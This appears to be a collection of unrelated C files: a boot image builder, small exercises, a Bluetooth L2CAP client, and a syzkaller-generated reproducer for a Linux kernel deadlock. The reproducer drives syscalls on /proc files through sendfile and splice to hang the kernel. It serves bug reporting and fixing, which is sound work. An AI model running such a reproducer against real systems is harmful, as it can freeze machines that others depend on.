* execfile: executable file stream
* sections_buffer: the buffer with the read content
* offset: offset to the entry location in the file
* sections_headers
* elf_header
*/
void read_sections(FILE *execfile, unsigned char **sections_buffer, Elf32_Shdr* sections_headers, Elf32_Ehdr *elf_header)
{
uint16_t section_header_size = elf_header->e_shentsize;
uint16_t num_sections = elf_header->e_shnum;
uint32_t sections_offset = elf_header->e_shoff;
for (int i = 0; i < num_sections; i++)
{
// Offsets the file cursor from the beginning to the Section Header table
fseek(execfile, sections_offset + i*section_header_size, SEEK_SET);
read_section_header(&(sections_headers[i]), execfile);
read_entry(execfile, &(sections_buffer[i]), sections_headers[i].sh_offset, sections_headers[i].sh_size);
}
}
/*
* Function: write_sections
* --------------------
* Loop through all sections; Read each Header and section content
*
* imagefile
* sections_buffer: the buffer with the read content
* sections_headers
* num_sections
* image_offset: offset to the entry location in the image file
*/
void write_sections(FILE **imagefile, unsigned char **sections_buffer, Elf32_Shdr* sections_headers,
uint32_t num_sections, uint32_t image_offset)
{
uint32_t addr;
for (int i = 0; i < num_sections; i++)
{
addr = sections_headers[i].sh_addr;
if (addr != 0) /* This member gives the address at which the section’s first byte */
{ /* should reside. If this member == 0, the section should not be written.*/
// Offsets imagefile cursor from the beginning to the given section address
fseek(*imagefile, sections_headers[i].sh_addr + image_offset, SEEK_SET);
fwrite(sections_buffer[i], 1, sections_headers[i].sh_size, *imagefile);
}
free(sections_buffer[i]);
}
}
/*
* Function: zero_padding
* --------------------
* Zero-pads a file from the current cursor position to the padding size
*
* imagefile
* padding_size
*/
void zero_padding(FILE **imagefile, uint32_t padding_size)
{
unsigned char* padded_buffer = (unsigned char *) calloc(padding_size, sizeof(unsigned char));
fwrite(padded_buffer, 1, padding_size, *imagefile);
free(padded_buffer);
}
/*
* Function: write_program_segments
* --------------------
* Loop through all sections; Read each Header and section content
*
* imagefile
* program_buffer: the buffer with the read content
* program_header
* num_programs
* image_offset: offset to the entry location in the image file
*/
void write_program_segments(FILE **imagefile, unsigned char **program_buffer, Elf32_Phdr *program_header,
uint32_t num_programs, uint32_t image_offset)
{
uint32_t padding_size;
uint64_t image_cursor_position;
fseek(*imagefile, image_offset, SEEK_SET);
for (int i = 0; i < num_programs; i++)
{
fwrite(program_buffer[i], 1, program_header[i].p_filesz, *imagefile);
// When the segment size in memory is bigger than it's size in file, it must be zero-padded.
padding_size = program_header[i].p_memsz - program_header[i].p_filesz;
if(padding_size > 0)
{
zero_padding(imagefile, padding_size);
}
free(program_buffer[i]);
}
image_cursor_position = ftell(*imagefile);
if(image_cursor_position % SECTOR_SIZE) // if the last program doesn't complete the sector, it must be zero-padded
{
padding_size = SECTOR_SIZE - (image_cursor_position % SECTOR_SIZE);
zero_padding(imagefile, padding_size);
}
}
/*
* Function: read_program_segments
* --------------------
* Loop through all programs; Read each Header and segment content
*
* execfile: executable file stream
* program_buffer: the buffer with the read content
* program_header
* num_programs
*/
void read_program_segments(FILE *execfile, unsigned char **program_buffer, Elf32_Phdr *program_header, uint16_t num_programs)
{
for (int i = 0; i < num_programs; i++)
{
read_entry(execfile, &(program_buffer[i]), program_header[i].p_offset, program_header[i].p_filesz);
}
}
/*
* Function: write_bootblock
* --------------------
* Writes the bootblock to the image file
*
* imagefile
* bootfile
* boot_header: bootblock elf header
* boot_phdr: bootblock program header
*/
void write_bootblock(FILE **imagefile, FILE *bootfile, Elf32_Ehdr *boot_header, Elf32_Phdr *boot_phdr)
{
uint16_t num_sections = boot_header->e_shnum;
uint16_t num_programs = boot_header->e_phnum;
// Allocate sections for reading
Elf32_Shdr* sections_headers = (Elf32_Shdr*) malloc(num_sections * sizeof(Elf32_Shdr));
// Buffer to store the content of each section
unsigned char **sections_buffer = (unsigned char **) malloc(num_sections * sizeof(unsigned char*));
// Buffer to store the content of each program segment
unsigned char **program_buffer = (unsigned char **) malloc(num_programs * sizeof(unsigned char*));
read_program_segments(bootfile, program_buffer, boot_phdr, num_programs);
write_program_segments(imagefile, program_buffer, boot_phdr, num_programs, BOOTBLOCK_IMAGE_OFFSET);
read_sections(bootfile, sections_buffer, sections_headers, boot_header);
//write_sections(imagefile, sections_buffer, sections_headers, boot_header->e_shnum, BOOTBLOCK_IMAGE_OFFSET);
free(sections_headers);
free(sections_buffer);
free(program_buffer);
}
/*
* Function: write_kernel
* --------------------
* Writes the kernel to the image file
*
* imagefile
* kernelfile
* kernel_header: kernel elf header
* kernel_phdr: kernel program header
*/
void write_kernel(FILE **imagefile, FILE *kernelfile, Elf32_Ehdr *kernel_header, Elf32_Phdr *kernel_phdr)
{
uint16_t num_sections = kernel_header->e_shnum;
uint16_t num_programs = kernel_header->e_phnum;
// Allocate sections for reading
Elf32_Shdr* sections_headers = (Elf32_Shdr*) malloc(num_sections * sizeof(Elf32_Shdr));
// Buffer to store the content of each section
unsigned char **sections_buffer = (unsigned char **) malloc(num_sections * sizeof(unsigned char*));
// Buffer to store the content of each program segment
unsigned char **program_buffer = (unsigned char **) malloc(num_programs * sizeof(unsigned char*));
read_program_segments(kernelfile, program_buffer, kernel_phdr, num_programs);
write_program_segments(imagefile, program_buffer, kernel_phdr, num_programs, KERNEL_IMAGE_OFFSET);
read_sections(kernelfile, sections_buffer, sections_headers, kernel_header);
//write_sections(imagefile, sections_buffer, sections_headers, kernel_header->e_shnum, KERNEL_IMAGE_OFFSET);
free(sections_headers);
free(sections_buffer);
free(program_buffer);
}
/*
* Function: count_kernel_sectors
* --------------------
* Counts the number of sectors in the kernel
*
* kernel_header: kernel elf header
* kernel_phdr: kernel program header
*
* returns: number of sectors in the kernel
*/
int count_kernel_sectors(Elf32_Ehdr *kernel_header, Elf32_Phdr *kernel_phdr)
{
uint32_t sum_memsz = 0;
uint32_t num_sectors;
for (int i = 0; i < kernel_header->e_phnum; i++)
{
sum_memsz += kernel_phdr[i].p_memsz;
}
num_sectors = sum_memsz / SECTOR_SIZE;
if (sum_memsz % SECTOR_SIZE)
num_sectors++;
return num_sectors;
}
/*
* Function: record_kernel_sectors
* --------------------
* Records the number of sectors in the kernel
*
* imagefile
* kernel_header: kernel elf header
* kernel_phdr: kernel program header
* num_sec: number of kernel sectors
*/
void record_kernel_sectors(FILE **imagefile, Elf32_Ehdr *kernel_header, Elf32_Phdr *kernel_phdr, int num_sec)
{
unsigned char magic_number[2] = {0x55, 0xAA};
fseek(*imagefile, BOOTLOADER_KERNEL_SECTORS_OFFSET, SEEK_SET);
fwrite(&num_sec, 1, 1, *imagefile);
// Write magic Number
fseek(*imagefile, BOOTLOADER_SIG_OFFSET, SEEK_SET);
fwrite(magic_number, 2, 1, *imagefile);
}
/*
* Function: print_segments_info
* --------------------
* Prints the offset, vaddr, filesz, memsz and other info of
* each segment of a given program header
*
* program_header
* _phnum: number of program headers
* is_kernel: TRUE if the program_header is a kernel - used for padding calculation
*/
void print_segments_info(Elf32_Phdr *program_header, int _phnum, int is_kernel)
{
int num_sectors = 0;
for(int i = 0; i < _phnum; i++)
{
num_sectors += (program_header[i].p_memsz/512 + ((program_header[i].p_memsz % SECTOR_SIZE) > 0 ? 1 : 0) + is_kernel);
printf("\tsegment %d\n", i);
printf("\t\toffset 0x%04x\t\tvaddr 0x%04x\n", program_header[i].p_offset, program_header[i].p_vaddr);
printf("\t\tfilesz 0x%04x\t\tmemsz 0x%04x\n", program_header[i].p_filesz, program_header[i].p_memsz);
printf("\t\twriting 0x%04x bytes\n", program_header[i].p_memsz);
printf("\t\tpadding up to 0x%04x\n", SECTOR_SIZE * num_sectors);
}
}
/*
* Function: extended_opt
* --------------------
* Prints segment information for --extended option
*
* bph: bootfile program header
* k_phnum: kernel number of program headers
* kph: kernelfile program header
* num_sec: number of kernel sectors
*/
void extended_opt(Elf32_Phdr *bph, int k_phnum, Elf32_Phdr *kph, int num_sec)
{
/* print number of disk sectors used by the image */
printf("disk_sectors: %d\n", num_sec + 1);
/*bootblock segment info */
printf("0x%04x: ./bootblock\n", bph->p_vaddr);
print_segments_info(bph, 1, FALSE);
/* print kernel segment info */
printf("0x%04x: ./kernel\n", kph->p_vaddr);
print_segments_info(kph, k_phnum, TRUE);
/* print kernel size in sectors */
printf("os_size: %d sectors\n", num_sec);
}
/* MAIN */
// ignore the --vm argument when implementing (project 1)
int main(int argc, char **argv)
{
FILE *kernelfile, *bootfile, *imagefile; //file pointers for bootblock,kernel and image
Elf32_Ehdr *boot_header = malloc(sizeof(Elf32_Ehdr)); //bootblock ELF header
Elf32_Ehdr *kernel_header = malloc(sizeof(Elf32_Ehdr)); //kernel ELF header
Elf32_Phdr *boot_program_header; //bootblock ELF program header
Elf32_Phdr *kernel_program_header; //kernel ELF program header
int num_sectors; // number of kernel sectors
//TODO: change this for the second project
/* check if the args were used correctly */
if (argc < 3 || argc > 4)
{
fprintf(stderr, "Usage: %s %s \n", argv[0], ARGS);
return 1;
}
/* build image file */
handle_file_open(&imagefile, "wb", IMAGE_FILE);
/* read executable bootblock file */
boot_program_header = read_exec_file(&bootfile, argv[bootblock_arg(argc)], &boot_header);
/* write bootblock */
write_bootblock(&imagefile, bootfile, boot_header, boot_program_header);
/* read executable kernel file */
kernel_program_header = read_exec_file(&kernelfile, argv[kernel_arg(argc)], &kernel_header);
/* write kernel segments to image */
write_kernel(&imagefile, kernelfile, kernel_header, kernel_program_header);
num_sectors = count_kernel_sectors(kernel_header, kernel_program_header);
/* tell the bootloader how many sectors to read to load the kernel */
record_kernel_sectors(&imagefile, kernel_header, kernel_program_header, num_sectors);
/* check for --extended option */
if (!strncmp(argv[1], "--extended", 11))
{
/* print info */
extended_opt(boot_program_header, kernel_header->e_phnum, kernel_program_header, num_sectors);
}
fclose(imagefile);
fclose(bootfile);
fclose(kernelfile);
free(boot_header);
free(kernel_header);
free(kernel_program_header);
free(boot_program_header);
return 0;
} // ends main()
|
the_stack_data/54826492.c
|
// possible deadlock in seq_read
// https://syzkaller.appspot.com/bug?id=898819aa10260a468a0191c309b066cc36437d7d
// status:open
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#include <linux/futex.h>
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void thread_start(void* (*fn)(void*), void* arg)
{
pthread_t th;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
int i;
for (i = 0; i < 100; i++) {
if (pthread_create(&th, &attr, fn, arg) == 0) {
pthread_attr_destroy(&attr);
return;
}
if (errno == EAGAIN) {
usleep(50);
continue;
}
break;
}
exit(1);
}
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (ev->state)
exit(1);
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
static int event_isset(event_t* ev)
{
return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}
static int event_timedwait(event_t* ev, uint64_t timeout)
{
uint64_t start = current_time_ms();
uint64_t now = start;
for (;;) {
uint64_t remain = timeout - (now - start);
struct timespec ts;
ts.tv_sec = remain / 1000;
ts.tv_nsec = (remain % 1000) * 1000 * 1000;
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
if (__atomic_load_n(&ev->state, __ATOMIC_RELAXED))
return 1;
now = current_time_ms();
if (now - start > timeout)
return 0;
}
}
static long syz_open_procfs(volatile long a0, volatile long a1)
{
char buf[128];
memset(buf, 0, sizeof(buf));
if (a0 == 0) {
snprintf(buf, sizeof(buf), "/proc/self/%s", (char*)a1);
} else if (a0 == -1) {
snprintf(buf, sizeof(buf), "/proc/thread-self/%s", (char*)a1);
} else {
snprintf(buf, sizeof(buf), "/proc/self/task/%d/%s", (int)a0, (char*)a1);
}
int fd = open(buf, O_RDWR);
if (fd == -1)
fd = open(buf, O_RDONLY);
return fd;
}
struct thread_t {
int created, call;
event_t ready, done;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}
static void loop(void)
{
int i, call, thread;
for (call = 0; call < 9; call++) {
for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0]));
thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr, th);
}
if (!event_isset(&th->done))
continue;
event_reset(&th->done);
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
event_timedwait(&th->done, 45);
break;
}
}
for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
sleep_ms(1);
}
uint64_t r[4] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff,
0xffffffffffffffff};
void execute_call(int call)
{
long res;
switch (call) {
case 0:
syscall(__NR_clone, 0x100000020040200, 0, 0, 0, 0);
break;
case 1:
memcpy((void*)0x20000040, "./file0\000", 8);
syscall(__NR_mknod, 0x20000040, 0x1040, 0);
break;
case 2:
memcpy((void*)0x200005c0, "./file0\000", 8);
syscall(__NR_execve, 0x200005c0, 0, 0);
break;
case 3:
memcpy((void*)0x20000280, "clear_refs\000\260Ix\346\fK\243/"
"\327\271IqK\313\350\fW\257Yt|"
"a\243\026\031\313\257\352\003O["
"k\261S2\206\v\237\024\306T\321\001$"
"\204\365\311\330\355\312\322\360s\340\312Px\374d"
"\323\215\036){\235f\247\024R\271,\256gV\226!"
"n\b\362\036\207\270\265M\240\321\265\363\264\326"
"\370\312\363J\025\355+,"
"\230\374\277X\022\227\263\033\352\372\377\267gx"
"\241\226\255\223\252=-z\006r\b\'",
135);
res = syz_open_procfs(0, 0x20000280);
if (res != -1)
r[0] = res;
break;
case 4:
memcpy((void*)0x20000440, "syscall\000", 8);
res = syz_open_procfs(0, 0x20000440);
if (res != -1)
r[1] = res;
break;
case 5:
syscall(__NR_sendfile, r[0], r[1], 0, 1);
break;
case 6:
res = syscall(__NR_pipe2, 0x20000000, 0);
if (res != -1)
r[2] = *(uint32_t*)0x20000004;
break;
case 7:
memcpy((void*)0x20000080, "/proc/self/net/pfkey\000", 21);
res = syscall(__NR_openat, 0xffffffffffffff9c, 0x20000080, 0, 0);
if (res != -1)
r[3] = res;
break;
case 8:
syscall(__NR_splice, r[3], 0, r[2], 0, 2, 0);
break;
}
}
int main(void)
{
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
loop();
return 0;
}
|
the_stack_data/125141012.c
|
#include <stdio.h>
#include <stdlib.h>
#define OK 0
#define ERR -1
#define NARGS 3
#define A 1
#define B 2
typedef enum {
FALSE,
TRUE
} bool;
typedef enum {
LT,
LE,
EQ,
GE,
GT
} relop;
typedef struct {
relop type;
char *sym;
} Operation;
#define foreach(c,el,L,T) for (c = 0, el = *L; c < (sizeof(L)/sizeof(T)); el = *(L + ++c))
bool comp(int, int, relop);
int
main(int argc, char **argv)
{
if (argc != NARGS) {
printf("%s: Fatal input error.\n", *argv);
printf("Wrong number of arguments\nargc = %d\n", argc);
printf("Arg. count must be exactly %d.\n", NARGS);
return ERR;
}
int c;
Operation op;
Operation REL[] = {{LT, "<"}, {LE, "<="}, {EQ, "=="}, {GE, ">="}, {GT, ">"}};
bool result;
int a = atoi(*(argv+A));
int b = atoi(*(argv+B));
foreach(c,op,REL,Operation) {
if (comp(c, LT, GE) && comp(c, GT, LE))
result = comp(a, b, op.type);
else
break;
if (result != ERR)
printf("%d %s %d is %s\n", a, op.sym, b, result?"true":"false");
else
return ERR;
}
return OK;
}
bool
comp(int a, int b, relop type)
{
switch (type) {
case LT:
return (a < b)?TRUE:FALSE;
case LE:
return (a <= b)?TRUE:FALSE;
case EQ:
return (a == b)?TRUE:FALSE;
case GE:
return (a >= b)?TRUE:FALSE;
case GT:
return (a > b)?TRUE:FALSE;
default:
return ERR;
}
}
|
the_stack_data/58242.c
|
#include <stdio.h>
struct S {
int * p;
int * q;
};
void f(int ** s, int * i) {
*s = i;
}
void g(int * i) {
struct S s;
f(&s.q, i);
printf("%d\n", *s.q);
}
|
the_stack_data/29826598.c
|
#include <stdio.h>
int singleNonDuplicate(int* nums, int numsSize){
for (int i = 0; i + 1 < numsSize; i += 2) {
if (nums[i] != nums[i + 1]) {
return nums[i];
}
}
return nums[numsSize - 1];
}
int main() {
int nums[] = {1, 1, 2, 3, 3, 4, 4, 8, 8};
int ans = singleNonDuplicate(nums, 9);
printf("single element: %d\n", ans);
return 0;
}
|
the_stack_data/1027457.c
|
/******************************************************************************
*
* Copyright (C) 2014 Google, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at:
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
******************************************************************************/
#if (defined(L2CAP_CLIENT_INCLUDED) && L2CAP_CLIENT_INCLUDED == TRUE)
#include <string.h>
#include "common/bt_trace.h"
#include "common/bt_defs.h"
#include "device/bdaddr.h"
#include "osi/allocator.h"
#include "osi/buffer.h"
#include "osi/list.h"
#include "osi/osi.h"
#include "stack/l2cap_client.h"
#include "stack/l2c_api.h"
struct l2cap_client_t {
l2cap_client_callbacks_t callbacks;
void *context;
uint16_t local_channel_id;
uint16_t remote_mtu;
bool configured_self;
bool configured_peer;
bool is_congested;
list_t *outbound_fragments;
};
static void connect_completed_cb(uint16_t local_channel_id, uint16_t error_code);
static void config_request_cb(uint16_t local_channel_id, tL2CAP_CFG_INFO *requested_parameters);
static void config_completed_cb(uint16_t local_channel_id, tL2CAP_CFG_INFO *negotiated_parameters);
static void disconnect_request_cb(uint16_t local_channel_id, bool ack_required);
static void disconnect_completed_cb(uint16_t local_channel_id, uint16_t error_code);
static void congestion_cb(uint16_t local_channel_id, bool is_congested);
static void read_ready_cb(uint16_t local_channel_id, BT_HDR *packet);
static void write_completed_cb(uint16_t local_channel_id, uint16_t packets_completed);
static void fragment_packet(l2cap_client_t *client, buffer_t *packet);
static void dispatch_fragments(l2cap_client_t *client);
static l2cap_client_t *find(uint16_t local_channel_id);
// From the Bluetooth Core specification.
static const uint16_t L2CAP_MTU_DEFAULT = 672;
static const uint16_t L2CAP_MTU_MINIMUM = 48;
static const tL2CAP_APPL_INFO l2cap_callbacks = {
.pL2CA_ConnectCfm_Cb = connect_completed_cb,
.pL2CA_ConfigInd_Cb = config_request_cb,
.pL2CA_ConfigCfm_Cb = config_completed_cb,
.pL2CA_DisconnectInd_Cb = disconnect_request_cb,
.pL2CA_DisconnectCfm_Cb = disconnect_completed_cb,
.pL2CA_CongestionStatus_Cb = congestion_cb,
.pL2CA_DataInd_Cb = read_ready_cb,
.pL2CA_TxComplete_Cb = write_completed_cb,
};
static list_t *l2cap_clients; // A list of l2cap_client_t. Container does not own objects.
buffer_t *l2cap_buffer_new(size_t size)
{
buffer_t *buf = buffer_new(size + L2CAP_MIN_OFFSET);
buffer_t *slice = NULL;
if (buf) {
slice = buffer_new_slice(buf, size);
}
buffer_free(buf);
return slice;
}
l2cap_client_t *l2cap_client_new(const l2cap_client_callbacks_t *callbacks, void *context)
{
assert(callbacks != NULL);
assert(callbacks->connected != NULL);
assert(callbacks->disconnected != NULL);
assert(callbacks->read_ready != NULL);
assert(callbacks->write_ready != NULL);
if (!l2cap_clients) {
l2cap_clients = list_new(NULL);
if (!l2cap_clients) {
LOG_ERROR("%s unable to allocate space for L2CAP client list.", __func__);
return NULL;
}
}
l2cap_client_t *ret = (l2cap_client_t *)osi_calloc(sizeof(l2cap_client_t));
if (!ret) {
LOG_ERROR("%s unable to allocate L2CAP client.", __func__);
goto error;
}
ret->callbacks = *callbacks;
ret->context = context;
ret->remote_mtu = L2CAP_MTU_DEFAULT;
ret->outbound_fragments = list_new(NULL);
if (!ret) {
LOG_ERROR("%s unable to allocate outbound L2CAP fragment list.", __func__);
goto error;
}
list_append(l2cap_clients, ret);
return ret;
error:;
osi_free(ret);
return NULL;
}
void l2cap_client_free(l2cap_client_t *client)
{
if (!client) {
return;
}
list_remove(l2cap_clients, client);
l2cap_client_disconnect(client);
list_free(client->outbound_fragments);
osi_free(client);
}
bool l2cap_client_connect(l2cap_client_t *client, const bt_bdaddr_t *remote_bdaddr, uint16_t psm)
{
assert(client != NULL);
assert(remote_bdaddr != NULL);
assert(psm != 0);
assert(!bdaddr_is_empty(remote_bdaddr));
assert(client->local_channel_id == 0);
assert(!client->configured_self);
assert(!client->configured_peer);
assert(!L2C_INVALID_PSM(psm));
client->local_channel_id = L2CA_ConnectReq(psm, (uint8_t *)remote_bdaddr);
if (!client->local_channel_id) {
LOG_ERROR("%s unable to create L2CAP connection.", __func__);
return false;
}
L2CA_SetConnectionCallbacks(client->local_channel_id, &l2cap_callbacks);
return true;
}
void l2cap_client_disconnect(l2cap_client_t *client)
{
assert(client != NULL);
if (client->local_channel_id && !L2CA_DisconnectReq(client->local_channel_id)) {
LOG_ERROR("%s unable to send disconnect message for LCID 0x%04x.", __func__, client->local_channel_id);
}
client->local_channel_id = 0;
client->remote_mtu = L2CAP_MTU_DEFAULT;
client->configured_self = false;
client->configured_peer = false;
client->is_congested = false;
for (const list_node_t *node = list_begin(client->outbound_fragments); node != list_end(client->outbound_fragments); node = list_next(node)) {
osi_free(list_node(node));
}
list_clear(client->outbound_fragments);
}
bool l2cap_client_is_connected(const l2cap_client_t *client)
{
assert(client != NULL);
return client->local_channel_id != 0 && client->configured_self && client->configured_peer;
}
bool l2cap_client_write(l2cap_client_t *client, buffer_t *packet)
{
assert(client != NULL);
assert(packet != NULL);
assert(l2cap_client_is_connected(client));
if (client->is_congested) {
return false;
}
fragment_packet(client, packet);
dispatch_fragments(client);
return true;
}
static void connect_completed_cb(uint16_t local_channel_id, uint16_t error_code)
{
assert(local_channel_id != 0);
l2cap_client_t *client = find(local_channel_id);
if (!client) {
LOG_ERROR("%s unable to find L2CAP client for LCID 0x%04x.", __func__, local_channel_id);
return;
}
if (error_code != L2CAP_CONN_OK) {
LOG_ERROR("%s error connecting L2CAP channel: %d.", __func__, error_code);
client->callbacks.disconnected(client, client->context);
return;
}
// Use default L2CAP parameters.
tL2CAP_CFG_INFO desired_parameters = { 0 };
if (!L2CA_ConfigReq(local_channel_id, &desired_parameters)) {
LOG_ERROR("%s error sending L2CAP config parameters.", __func__);
client->callbacks.disconnected(client, client->context);
}
}
static void config_request_cb(uint16_t local_channel_id, tL2CAP_CFG_INFO *requested_parameters)
{
tL2CAP_CFG_INFO response = { 0 };
l2cap_client_t *client = find(local_channel_id);
if (!client) {
LOG_ERROR("%s unable to find L2CAP client matching LCID 0x%04x.", __func__, local_channel_id);
return;
}
response.result = L2CAP_CFG_OK;
if (requested_parameters->mtu_present) {
// Make sure the peer chose an MTU at least as large as the minimum L2CAP MTU defined
// by the Bluetooth Core spec.
if (requested_parameters->mtu < L2CAP_MTU_MINIMUM) {
response.mtu = L2CAP_MTU_MINIMUM;
response.mtu_present = true;
response.result = L2CAP_CFG_UNACCEPTABLE_PARAMS;
} else {
client->remote_mtu = requested_parameters->mtu;
}
}
if (requested_parameters->fcr_present) {
if (requested_parameters->fcr.mode != L2CAP_FCR_BASIC_MODE) {
response.fcr_present = true;
response.fcr = requested_parameters->fcr;
response.fcr.mode = L2CAP_FCR_BASIC_MODE;
response.result = L2CAP_CFG_UNACCEPTABLE_PARAMS;
}
}
if (!L2CA_ConfigRsp(local_channel_id, &response)) {
LOG_ERROR("%s unable to send config response for LCID 0x%04x.", __func__, local_channel_id);
l2cap_client_disconnect(client);
return;
}
// If we've configured both endpoints, let the listener know we've connected.
client->configured_peer = true;
if (l2cap_client_is_connected(client)) {
client->callbacks.connected(client, client->context);
}
}
static void config_completed_cb(uint16_t local_channel_id, tL2CAP_CFG_INFO *negotiated_parameters)
{
l2cap_client_t *client = find(local_channel_id);
if (!client) {
LOG_ERROR("%s unable to find L2CAP client matching LCID 0x%04x.", __func__, local_channel_id);
return;
}
switch (negotiated_parameters->result) {
// We'll get another configuration response later.
case L2CAP_CFG_PENDING:
break;
case L2CAP_CFG_UNACCEPTABLE_PARAMS:
// TODO: see if we can renegotiate parameters instead of dropping the connection.
LOG_WARN("%s dropping L2CAP connection due to unacceptable config parameters.\n", __func__);
l2cap_client_disconnect(client);
break;
case L2CAP_CFG_OK:
// If we've configured both endpoints, let the listener know we've connected.
client->configured_self = true;
if (l2cap_client_is_connected(client)) {
client->callbacks.connected(client, client->context);
}
break;
// Failure, no further parameter negotiation possible.
default:
LOG_WARN("%s L2CAP parameter negotiation failed with error code %d.\n", __func__, negotiated_parameters->result);
l2cap_client_disconnect(client);
break;
}
}
static void disconnect_request_cb(uint16_t local_channel_id, bool ack_required)
{
l2cap_client_t *client = find(local_channel_id);
if (!client) {
LOG_ERROR("%s unable to find L2CAP client with LCID 0x%04x.\n", __func__, local_channel_id);
return;
}
if (ack_required) {
L2CA_DisconnectRsp(local_channel_id);
}
// We already sent a disconnect response so this LCID is now invalid.
client->local_channel_id = 0;
l2cap_client_disconnect(client);
client->callbacks.disconnected(client, client->context);
}
static void disconnect_completed_cb(uint16_t local_channel_id, UNUSED_ATTR uint16_t error_code)
{
assert(local_channel_id != 0);
l2cap_client_t *client = find(local_channel_id);
if (!client) {
LOG_ERROR("%s unable to find L2CAP client with LCID 0x%04x.\n", __func__, local_channel_id);
return;
}
client->local_channel_id = 0;
l2cap_client_disconnect(client);
client->callbacks.disconnected(client, client->context);
}
static void congestion_cb(uint16_t local_channel_id, bool is_congested)
{
assert(local_channel_id != 0);
l2cap_client_t *client = find(local_channel_id);
if (!client) {
LOG_ERROR("%s unable to find L2CAP client matching LCID 0x%04x.\n", __func__, local_channel_id);
return;
}
client->is_congested = is_congested;
if (!is_congested) {
// If we just decongested, dispatch whatever we have left over in our queue.
// Once that's done, if we're still decongested, notify the listener so it
// can start writing again.
dispatch_fragments(client);
if (!client->is_congested) {
client->callbacks.write_ready(client, client->context);
}
}
}
static void read_ready_cb(uint16_t local_channel_id, BT_HDR *packet)
{
assert(local_channel_id != 0);
l2cap_client_t *client = find(local_channel_id);
if (!client) {
LOG_ERROR("%s unable to find L2CAP client matching LCID 0x%04x.\n", __func__, local_channel_id);
return;
}
// TODO(sharvil): eliminate copy from BT_HDR.
buffer_t *buffer = buffer_new(packet->len);
memcpy(buffer_ptr(buffer), packet->data + packet->offset, packet->len);
osi_free(packet);
client->callbacks.read_ready(client, buffer, client->context);
buffer_free(buffer);
}
static void write_completed_cb(UNUSED_ATTR uint16_t local_channel_id, UNUSED_ATTR uint16_t packets_completed)
{
// Do nothing. We update congestion state based on the congestion callback
// and we've already removed items from outbound_fragments list so we don't
// really care how many packets were successfully dispatched.
}
static void fragment_packet(l2cap_client_t *client, buffer_t *packet)
{
assert(client != NULL);
assert(packet != NULL);
// TODO(sharvil): eliminate copy into BT_HDR.
BT_HDR *bt_packet = osi_malloc(buffer_length(packet) + L2CAP_MIN_OFFSET);
bt_packet->offset = L2CAP_MIN_OFFSET;
bt_packet->len = buffer_length(packet);
memcpy(bt_packet->data + bt_packet->offset, buffer_ptr(packet), buffer_length(packet));
for (;;) {
if (bt_packet->len <= client->remote_mtu) {
if (bt_packet->len > 0) {
list_append(client->outbound_fragments, bt_packet);
} else {
osi_free(bt_packet);
}
break;
}
BT_HDR *fragment = osi_malloc(client->remote_mtu + L2CAP_MIN_OFFSET);
fragment->offset = L2CAP_MIN_OFFSET;
fragment->len = client->remote_mtu;
memcpy(fragment->data + fragment->offset, bt_packet->data + bt_packet->offset, client->remote_mtu);
list_append(client->outbound_fragments, fragment);
bt_packet->offset += client->remote_mtu;
bt_packet->len -= client->remote_mtu;
}
}
static void dispatch_fragments(l2cap_client_t *client)
{
assert(client != NULL);
assert(!client->is_congested);
while (!list_is_empty(client->outbound_fragments)) {
BT_HDR *packet = (BT_HDR *)list_front(client->outbound_fragments);
list_remove(client->outbound_fragments, packet);
switch (L2CA_DataWrite(client->local_channel_id, packet)) {
case L2CAP_DW_CONGESTED:
client->is_congested = true;
return;
case L2CAP_DW_FAILED:
LOG_ERROR("%s error writing data to L2CAP connection LCID 0x%04x; disconnecting.", __func__, client->local_channel_id);
l2cap_client_disconnect(client);
return;
case L2CAP_DW_SUCCESS:
break;
}
}
}
static l2cap_client_t *find(uint16_t local_channel_id)
{
assert(local_channel_id != 0);
for (const list_node_t *node = list_begin(l2cap_clients); node != list_end(l2cap_clients); node = list_next(node)) {
l2cap_client_t *client = (l2cap_client_t *)list_node(node);
if (client->local_channel_id == local_channel_id) {
return client;
}
}
return NULL;
}
